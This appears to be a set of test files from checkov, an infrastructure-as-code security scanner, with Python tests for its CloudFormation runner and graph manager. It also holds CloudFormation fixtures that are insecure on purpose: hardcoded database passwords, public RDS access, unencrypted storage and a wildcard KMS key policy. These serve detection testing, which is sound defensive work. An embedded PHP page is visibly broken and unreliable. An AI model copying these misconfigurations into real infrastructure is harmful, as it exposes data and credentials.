checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path], runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_includes_custom_guideline(self): custom_guideline_url = "https://my.custom.url" custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"], guideline=custom_guideline_url ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED AnyFailingCheck() scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation', checks=[custom_check_id]) ) self.assertEqual(report.failed_checks[0].guideline, custom_guideline_url) def test_get_tags(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "tags.yaml") definitions, _ = parse(scan_file_path) resource_name = 'DataBucket' resource = definitions['Resources'][resource_name] entity = {resource_name: resource} entity_tags = cfn_utils.get_resource_tags(entity) self.assertEqual(len(entity_tags), 4) tags = { 'Simple': 'Value', 'Name': '${AWS::AccountId}-data', 'Environment': 'long-form-sub-${account}', 'Account': 'long-form-sub-${account}' } for name, value in tags.items(): self.assertEqual(entity_tags[name], value) resource_name = 'NoTags' resource = definitions['Resources'][resource_name] entity = {resource_name: resource} entity_tags = cfn_utils.get_resource_tags(entity) self.assertIsNone(entity_tags) 'TerraformServerAutoScalingGroup' resource_name = 'TerraformServerAutoScalingGroup' resource = definitions['Resources'][resource_name] entity = {resource_name: resource} entity_tags = cfn_utils.get_resource_tags(entity) if '__file__' in entity_tags: del entity_tags['__file__'] self.assertDictEqual( entity_tags, { "Name": "TF-FulfillmentServer", "terraform-server-tag-key": "terraform-server-tag-value", } ) resource_name = 'EKSClusterNodegroup' resource = definitions['Resources'][resource_name] entity = {resource_name: resource} entity_tags = cfn_utils.get_resource_tags(entity) if '__file__' in entity_tags: del entity_tags['__file__'] self.assertDictEqual( entity_tags, { 'Name': '{\'Ref\': \'ClusterName\'}-EKS-{\'Ref\': \'NodeGroupName\'}', } ) def test_wrong_check_imports(self): wrong_imports = ["arm", "dockerfile", "helm", "kubernetes", "serverless", "terraform"] ignore_files = ["BaseCloudsplainingIAMCheck.py", "ECRPolicy.py"] check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): if file.name in ignore_files: continue with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: wrong_import = next((import_name for x in wrong_imports if x in import_name), None) if wrong_import: check_imports.append({file.name: wrong_import}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" @pytest.mark.skip("No graph checks implemented yet for cloudformation") def test_run_graph_checks(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "../graph/checks/resources/MSKClusterLogging") dir_abs_path = os.path.abspath(scan_dir_path) report = Runner(db_connector=self.db_connector()).run( root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["cloudformation"], download_external_modules=False) ) self.assertGreater(len(report.failed_checks), 0) self.assertGreater(len(report.passed_checks), 0) def test_external_data(self): dir_abs_path = os.path.dirname(os.path.realpath(__file__)) definitions = { f'{dir_abs_path}/s3.yaml': { 'Resources': { 'MySourceQueue': { 'Type': 'AWS::SQS::Queue', 'Properties': { 'KmsMasterKeyId': 'kms_id', '__startline__': 17, '__endline__': 22, 'resource_type': 'AWS::SQS::Queue' } }, 'MyDB': { 'Type': 'AWS::RDS::DBInstance', 'Properties': { 'DBName': 'db', 'DBInstanceClass': 'db.t3.micro', 'Engine': 'mysql', 'MasterUsername': 'master', 'MasterUserPassword': 'password', # checkov:skip=CKV_SECRET_6 test secret '__startline__': 23, '__endline__': 32, 'resource_type': 'AWS::RDS::DBInstance' } } } } } context = { f"{dir_abs_path}/s3.yaml": { "Parameters": { "KmsMasterKeyId": { "start_line": 5, "end_line": 9, "code_lines": [ (5, ' "KmsMasterKeyId": {\n'), (6, ' "Description": "Company Name",\n'), (7, ' "Type": "String",\n'), (8, ' "Default": "kms_id"\n'), (9, " },\n"), ], }, "DBName": { "start_line": 10, "end_line": 14, "code_lines": [ (10, ' "DBName": {\n'), (11, ' "Description": "Name of the Database",\n'), (12, ' "Type": "String",\n'), (13, ' "Default": "db"\n'), (14, " }\n"), ], }, }, "Resources": { "MySourceQueue": { "start_line": 17, "end_line": 22, "code_lines": [ (17, ' "MySourceQueue": {\n'), (18, ' "Type": "AWS::SQS::Queue",\n'), (19, ' "Properties": {\n'), (20, ' "KmsMasterKeyId": { "Ref": "KmsMasterKeyId" }\n'), (21, " }\n"), (22, " },\n"), ], "skipped_checks": [], }, "MyDB": { "start_line": 23, "end_line": 32, "code_lines": [ (23, ' "MyDB": {\n'), (24, ' "Type": "AWS::RDS::DBInstance",\n'), (25, ' "Properties": {\n'), (26, ' "DBName": { "Ref": "DBName" },\n'), (27, ' "DBInstanceClass": "db.t3.micro",\n'), (28, ' "Engine": "mysql",\n'), (29, ' "MasterUsername": "master",\n'), (30, ' "MasterUserPassword": "password"\n'), (31, " }\n"), (32, " }\n"), ], "skipped_checks": [], }, }, "Outputs": { "DBAppPublicDNS": { "start_line": 35, "end_line": 38, "code_lines": [ (35, ' "DBAppPublicDNS": {\n'), (36, ' "Description": "DB App Public DNS Name",\n'), (37, ' "Value": { "Fn::GetAtt" : [ "MyDB", "PublicDnsName" ] }\n'), (38, " }\n"), ], } }, } } breadcrumbs = {} runner = Runner(db_connector=self.db_connector()) runner.set_external_data(definitions, context, breadcrumbs) report = Report('cloudformation') runner.check_definitions(root_folder=dir_abs_path, runner_filter=RunnerFilter(framework='cloudformation', download_external_modules=False), report=report) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(len(report.failed_checks), 4) pass def test_breadcrumbs_report(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "../graph/graph_builder/resources/variable_rendering/render_params") dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='cloudformation', download_external_modules=False, checks=["CKV_AWS_21"])) self.assertEqual(1, len(report.failed_checks)) self.assertIsNotNone(report.failed_checks[0].breadcrumbs) self.assertIsNotNone(report.failed_checks[0].breadcrumbs.get("VersioningConfiguration.Status")) def test_parsing_invalid_properties_yaml(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "invalid_properties.yaml") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(report.parsing_errors, [scan_file_path]) def test_parsing_invalid_properties_json(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "invalid_properties.json") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(report.parsing_errors, [scan_file_path]) def test_parsing_no_properties_yaml(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "no_properties.yaml") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(len(report.passed_checks), 3) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "graph.yaml") runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['cloudformation'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.CLOUDFORMATION: Severities[BcSeverities.OFF]} report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_parsing_no_properties_json(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "no_properties.json") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(len(report.failed_checks), 3) self.assertEqual(len(report.passed_checks), 3) def test_parsing_error_yaml(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "invalid.yaml") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(report.parsing_errors, [scan_file_path]) def test_double_statement(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "double_statement_cloudsplaining.yml") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['cloudformation'])) self.assertEqual(len(report.failed_checks), 5) id_and_key = [(x.check_id, x.check_result.get('evaluated_keys')) for x in report.failed_checks] self.assertIn(('CKV_AWS_107', ['Properties/PolicyDocument/Statement/[1]/Action']), id_and_key) self.assertIn(('CKV_AWS_111', ['Properties/PolicyDocument/Statement/[0]/Action/[1]/']), id_and_key) def test_skip_sub_dict_json(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "skip_sub_dict.json") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(len(report.failed_checks), 0) def test_parsing_error_json(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "invalid.json") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=[scan_file_path], runner_filter=RunnerFilter(framework='cloudformation')) self.assertEqual(report.parsing_errors, [scan_file_path]) def test_parse_relevant_files_only(self): definitions, _ = create_definitions(None, ['main.tf']) # just check that we skip the file and return normally self.assertNotIn('main.tf', definitions) def test_record_includes_severity(self): custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['cloudformation'], checks=[custom_check_id]) ) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_severity_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"] ) def scan_resource_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['MEDIUM'] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = runner.run(None, files=[scan_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework='cloudformation', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_check_filter_include(self): custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['MEDIUM'] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = runner.run(None, files=[scan_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['cloudformation'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] runner = Runner(db_connector=self.db_connector()) checks_denylist = ['MEDIUM'] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = runner.run(None, files=[scan_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['cloudformation'], skip_checks=checks_denylist)) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_include(self): custom_check_id = "MY_CUSTOM_CHECK" cfn_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["AWS::SQS::Queue"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] runner = Runner(db_connector=self.db_connector()) checks_denylist = ['MEDIUM'] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "fail.yaml") report = runner.run(None, files=[scan_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['cloudformation'], skip_checks=checks_denylist)) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_graph_check_suppressions(self): # given test_file = RESOURCES_DIR / "suppress_graph_check.yaml" # when report = Runner(db_connector=self.db_connector()).run( root_folder=None, files=[str(test_file)], runner_filter=RunnerFilter(framework=["cloudformation"], checks=["CKV2_AWS_33"]), ) # then self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 2) def tearDown(self): cfn_registry.checks = self.orig_checks if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/test_graph_manager.py ================================================ import os from unittest import TestCase from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_manager import CloudformationGraphManager from checkov.cloudformation.parser import parse from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestCloudformationGraphManager(TestCase): def test_build_graph_from_source_directory_no_rendering(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, "./runner/resources")) graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=False, excluded_paths=["skip.*", "double_state.*"]) expected_resources_by_file = { os.path.join(root_dir, "no_properties.yaml"): [ "AWS::Serverless::Function.NoPropertiesYaml" ], os.path.join(root_dir, "no_properties.json"): [ "AWS::Serverless::Function.NoPropertiesJson" ], os.path.join(root_dir, "tags.yaml"): [ "AWS::S3::Bucket.DataBucket", "AWS::S3::Bucket.NoTags", "AWS::EKS::Nodegroup.EKSClusterNodegroup", "AWS::AutoScaling::AutoScalingGroup.TerraformServerAutoScalingGroup", ], os.path.join(root_dir, "cfn_newline_at_end.yaml"): [ "AWS::RDS::DBInstance.MyDB", "AWS::S3::Bucket.MyBucket", ], os.path.join(root_dir, "success.json"): [ "AWS::S3::Bucket.acmeCWSBucket", "AWS::S3::Bucket.acmeCWSBucket2", "AWS::S3::BucketPolicy.acmeCWSBucketPolicy", "AWS::SNS::Topic.acmeCWSTopic", "AWS::SNS::TopicPolicy.acmeCWSTopicPolicy", "AWS::CloudTrail::Trail.acmeCWSTrail", "AWS::KMS::Key.CloudtrailKMSKey", "AWS::KMS::Alias.CloudtrailKMSKeyAlias", "AWS::SQS::Queue.acmeCWSQueue", "AWS::SQS::QueuePolicy.acmeCWSQueuePolicy", "AWS::SNS::Subscription.acmeCWSSubscription", "AWS::IAM::Role.acmeCWSSACrossAccountAccessRole", "AWS::EKS::Cluster.eksCluster", "Custom::acmeSnsCustomResource.acmeSnsCustomResource", ], os.path.join(root_dir, "fail.yaml"): [ "AWS::SQS::Queue.UnencryptedQueue", ], os.path.join(root_dir, "graph.yaml"): [ "AWS::AppSync::GraphQLApi.GoodAppSyncGraphQLApi", "AWS::WAFv2::WebACL.GoodWAFv2WebACL", "AWS::WAFv2::WebACLAssociation.WebACLAssociation", "AWS::AppSync::GraphQLApi.NoWAFAppSyncGraphQLApi" ], os.path.join(root_dir, "suppress_graph_check.yaml"): [ "AWS::AppSync::GraphQLApi.CommentSuppress", "AWS::AppSync::GraphQLApi.MetadataSuppress" ] } self.assertEqual(49, len(local_graph.vertices)) self.assertEqual(29, len(local_graph.vertices_by_block_type[BlockType.RESOURCE])) self.assertEqual(9, len(local_graph.vertices_by_block_type[BlockType.PARAMETERS])) self.assertEqual(6, len(local_graph.vertices_by_block_type[BlockType.OUTPUTS])) self.assertEqual(4, len(local_graph.vertices_by_block_type[BlockType.CONDITIONS])) self.assertEqual(1, len(local_graph.vertices_by_block_type[BlockType.MAPPINGS])) for v in local_graph.vertices: if v.block_type == BlockType.RESOURCE: self.assertIn(v.name, expected_resources_by_file[v.path]) sqs_queue_vertex = local_graph.vertices[local_graph.vertices_block_name_map[BlockType.RESOURCE]["AWS::SQS::Queue.acmeCWSQueue"][0]] del sqs_queue_vertex.attributes['QueueName']['__file__'] del sqs_queue_vertex.attributes['QueueName']['Fn::Join'][1][0]['__file__'] self.assertDictEqual({'Fn::Join': ['', [{'Ref': 'ResourceNamePrefix', '__startline__': 650, '__endline__': 652}, '-acmecws']], '__startline__': 646, '__endline__': 656}, sqs_queue_vertex.attributes["QueueName"]) def test_build_graph_from_source_directory_with_rendering(self): root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, "./runner/resources")) graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=True) sqs_queue_vertex = local_graph.vertices[local_graph.vertices_block_name_map[BlockType.RESOURCE]["AWS::SQS::Queue.acmeCWSQueue"][0]] del sqs_queue_vertex.config['QueueName']['__file__'] expected_node = {'Fn::Join': ['', ['acme', '-acmecws']], '__startline__': 646, '__endline__': 656} self.assertDictEqual(expected_node, sqs_queue_vertex.config["QueueName"]) found = False for d in definitions: if 'resources/success.json' in d: found = True node = definitions[d]['Resources']['acmeCWSQueue']['Properties']['QueueName'] self.assertDictEqual(expected_node, node) self.assertTrue(found, 'Did not find the wanted node, for acmeCWSQueue') def test_build_graph_from_definitions(self): relative_file_path = "./checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml" definitions = {} file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path)) (definitions[relative_file_path], definitions_raw) = parse(file) graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector()) local_graph = graph_manager.build_graph_from_definitions(definitions) self.assertEqual(1, len(local_graph.vertices)) resource_vertex = local_graph.vertices[0] self.assertEqual("AWS::ApiGateway::Stage.Enabled", resource_vertex.name) self.assertEqual("AWS::ApiGateway::Stage.Enabled", resource_vertex.id) self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type) self.assertEqual("CloudFormation", resource_vertex.source) self.assertDictEqual(definitions[relative_file_path]["Resources"]["Enabled"]["Properties"], resource_vertex.attributes) ================================================ FILE: tests/cloudformation/test_scanner_registry.py ================================================ import unittest from checkov.cloudformation.checks.resource.registry import cfn_registry as registry class TestScannerRegistry(unittest.TestCase): def test_num_of_scanners(self): scanners_counter = 0 for key in list(registry.checks.keys()): scanners_counter += len(registry.checks[key]) self.assertGreater(scanners_counter, 1) def test_non_colliding_check_ids(self): check_id_check_class_map = {} for (resource_type, checks) in registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/utils/__init__.py ================================================ ================================================ FILE: tests/cloudformation/utils/file_formats/test.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Description": "AWS CloudFormation Template to deploy insecure infrastructure", "Parameters": { "KmsMasterKeyId": { "Description": "Company Name", "Type": "String", "Default": "kms_id" }, "DBName": { "Description": "Name of the Database", "Type": "String", "Default": "db" } }, "Resources": { "MySourceQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": { "Ref": "KmsMasterKeyId" } } }, "MyDB": { "Type": "AWS::RDS::DBInstance", "Properties": { "DBName": { "Ref": "DBName" }, "DBInstanceClass": "db.t3.micro", "Engine": "mysql", "MasterUsername": "master", "MasterUserPassword": "password" } } }, "Outputs": { "DBAppPublicDNS": { "Description": "DB App Public DNS Name", "Value": { "Fn::GetAtt" : [ "MyDB", "PublicDnsName" ] } } } } ================================================ FILE: tests/cloudformation/utils/file_formats/test.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: AWS CloudFormation Template to deploy insecure infrastructure Parameters: KmsMasterKeyId: Description: Company Name Type: String Default: kms_id DBName: Description: Name of the Database Type: String Default: db1 Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: KmsMasterKeyId: !Ref KmsMasterKeyId MyDB: # Test case for check skip via 'Metadata' Metadata: checkov: skip: - id: CKV_AWS_17 comment: Ensure all data stored in RDS is not publicly accessible bridgecrew: skip: - id: CKV_AWS_157 comment: Ensure that RDS instances have Multi-AZ enabled Type: 'AWS::RDS::DBInstance' # Test case for check skip via comment # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest Properties: DBName: !Ref DBName DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' PubliclyAccessible: True Outputs: DBAppPublicDNS: Description: DB App Public DNS Name Value: !GetAtt [ MyDB, PublicDnsName ] ================================================ FILE: tests/cloudformation/utils/file_formats/test2.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: AWS CloudFormation Template to deploy insecure infrastructure Parameters: LatestAmiId: Type: AWS::SSM::Parameter::Value Default: /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 #test Resources: #################### ### EC2 in VPC ### #################### WebHostStorage: # Unencrypted Volume Type: AWS::EC2::Volume Properties: AvailabilityZone: !Select - 0 - Fn::GetAZs: "" #Encrypted: False Size: 1 Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-ebs" ############# ### KMS ### ############# LogsKey: # Key does not have rotation enabled Type: AWS::KMS::Key Properties: Description: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-logs bucket key" PendingWindowInDays: 7 KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: !Sub arn:aws:iam::${AWS::AccountId}:root Action: kms:* Resource: '*' LogsKeyAlias: Type: AWS::KMS::Alias Properties: AliasName: !Sub "alias/${AWS::AccountId}-${CompanyName}-${Environment}-logs-bucket-key" TargetKeyId: !Ref LogsKey DBAppInstance: # EC2 have plain text secrets in user data Type: AWS::EC2::Instance Properties: AvailabilityZone: Fn::Select: - 0 - Fn::GetAZs: "" ImageId: !Ref LatestAmiId InstanceType: t2.nano IamInstanceProfile: !Ref EC2Profile SecurityGroupIds: - !Ref WebNodeSG SubnetId: !Ref WebSubnet Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-dbapp" UserData: Fn::Base64: !Sub | #!/bin/bash ### Config from https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html sudo yum -y update sudo yum -y install httpd php php-mysqlnd sudo systemctl enable httpd sudo systemctl start httpd sudo mkdir /var/www/inc cat << EnD > /tmp/dbinfo.inc EnD sudo mv /tmp/dbinfo.inc /var/www/inc sudo chown root:root /var/www/inc/dbinfo.inc cat << EnD > /tmp/index.php

Sample page

NAME ADDRESS
"; echo "", "", ""; echo ""; } ?>
ID NAME ADDRESS
",$query_data[0], "",$query_data[1], "",$query_data[2], "
Error adding employee data.

"); } /* Check whether the table exists and, if not, create it. */ function VerifyEmployeesTable($connection, $dbName) { if(!TableExists("EMPLOYEES", $connection, $dbName)) { $query = "CREATE TABLE EMPLOYEES ( ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, NAME VARCHAR(45), ADDRESS VARCHAR(90) )"; if(!mysqli_query($connection, $query)) echo("

Error creating table.

"); } } /* Check for the existence of a table. */ function TableExists($tableName, $connection, $dbName) { $t = mysqli_real_escape_string($connection, $tableName); $d = mysqli_real_escape_string($connection, $dbName); $checktable = mysqli_query($connection, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '$t' AND TABLE_SCHEMA = '$d'"); if(mysqli_num_rows($checktable) > 0) return true; return false; } ?> EnD sudo mv /tmp/index.php /var/www/html sudo chown root:root /var/www/html/index.php Outputs: EC2PublicDNS: # test comment # test comment2 Description: Web Host Public DNS Name Value: !GetAtt [EC2Instance, PublicDnsName] VpcId: Description: The ID of the VPC # test comment Value: !Ref WebVPC PublicSubnet: Description: The ID of the Public Subnet Value: !Ref WebSubnet # test comment PublicSubnet2: Description: The ID of the Public Subnet Value: !Ref WebSubnet2 UserName: Description: The Name of the IAM User Value: !Ref User ================================================ FILE: tests/cloudformation/utils/test_cfn_utils.py ================================================ import os import unittest from pathlib import Path from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.cloudformation.cfn_utils import get_folder_definitions, build_definitions_context, enrich_resources_with_globals from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.bridgecrew.platform_integration import bc_integration, BcPlatformIntegration from checkov.common.parsers.node import DictNode from checkov.cloudformation.parser import TemplateSections TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) RELATIVE_PATH = "file_formats" class TestCfnUtils(unittest.TestCase): def setUp(self): # self.test_root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, RELATIVE_PATH)) self.test_root_dir = Path(TEST_DIRNAME) / RELATIVE_PATH integration = BcPlatformIntegration() metadata_integration.bc_integration = integration integration.get_public_run_config() metadata_integration.pre_scan() definitions, definitions_raw = get_folder_definitions(str(self.test_root_dir), None) self.definitions_context = build_definitions_context(definitions, definitions_raw) def tearDown(self) -> None: metadata_integration.bc_integration = bc_integration def validate_definition_lines(self, definition: DictNode, start_line, end_line, code_lines): self.assertEqual(definition["start_line"], start_line) self.assertEqual(definition["end_line"], end_line) self.assertEqual(len(definition["code_lines"]), code_lines) def test_parameters_value(self): # Asserting test.yaml file yaml_parameters = self.definitions_context[str(self.test_root_dir / "test.yaml")][ TemplateSections.PARAMETERS.value ] self.assertIsNotNone(yaml_parameters) self.assertEqual(len(yaml_parameters), 2) self.validate_definition_lines(yaml_parameters["KmsMasterKeyId"], 4, 7, 4) self.validate_definition_lines(yaml_parameters["DBName"], 8, 11, 4) # Asserting test2.yaml file yaml2_parameters = self.definitions_context[str(self.test_root_dir / "test2.yaml")][ TemplateSections.PARAMETERS.value ] self.assertIsNotNone(yaml2_parameters) self.assertEqual(len(yaml2_parameters), 1) self.validate_definition_lines(yaml2_parameters["LatestAmiId"], 4, 6, 3) # Asserting json file json_parameters = self.definitions_context[str(self.test_root_dir / "test.json")][ TemplateSections.PARAMETERS.value ] self.assertIsNotNone(json_parameters) self.assertEqual(len(json_parameters), 2) self.validate_definition_lines(json_parameters["KmsMasterKeyId"], 5, 9, 5) self.validate_definition_lines(json_parameters["DBName"], 10, 14, 5) def test_resources_value(self): # Asserting test.yaml file yaml_resources = self.definitions_context[str(self.test_root_dir / "test.yaml")][ TemplateSections.RESOURCES.value ] self.assertIsNotNone(yaml_resources) self.assertEqual(len(yaml_resources), 2) self.validate_definition_lines(yaml_resources["MySourceQueue"], 13, 16, 4) self.validate_definition_lines(yaml_resources["MyDB"], 17, 37, 21) # Asserting test2.yaml file yaml2_resources = self.definitions_context[str(self.test_root_dir / "test2.yaml")][ TemplateSections.RESOURCES.value ] self.assertIsNotNone(yaml2_resources) 